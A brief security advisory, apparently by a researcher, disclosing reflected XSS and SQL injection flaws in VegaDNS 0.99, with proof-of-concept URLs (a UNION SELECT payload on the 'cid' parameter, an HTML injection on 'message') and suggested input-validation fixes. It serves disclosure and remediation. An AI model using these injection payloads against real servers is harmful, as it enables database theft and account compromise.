Author : Ph03n1X
email  : king_purba@yahoo.co.uk
site   : https://kandangjamur.net/
vendor : www.vegadns.org
version: 0.99

XSS
----
PoC :
https://exam.com/vegadns/index.php?VDNS_Sessid=m42644r75o1eg4f7mb7e4rnpg7&message=%3Ch1%3E%3Cmarquee%3Ealoo%3C/marquee%3E%3C/h1%3E

Vulnerable script is located in index.php file, $message variable isn't validated. You may validate
$_REQUEST['message'] using htmlspecialchars() function.

SQL injection
--------------

https://exam.com/vegadns/index.php?VDNS_Sessid=ip2eugr7ndn9n9sbnagb9f3p43&state=logged_in&mode=users&user_mode=edit_account&cid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9%20--

https://exam.com/vegadns/index.php?VDNS_Sessid=ip2eugr7ndn9n9sbnagb9f3p43&state=logged_in&mode=users&user_mode=edit_account&cid=1%20 AND 1=0

Vulnerable query is located in src/users.php file, You may fix this problem by adding the following
function and then validate $_REQUEST['cid']

<?php
validate($_REQUEST['cid']);

... bla bla bla ...

function validate($char)
{
        if(!is_numeric($char))
        {
                die("i have received an error request");
        }
}
?>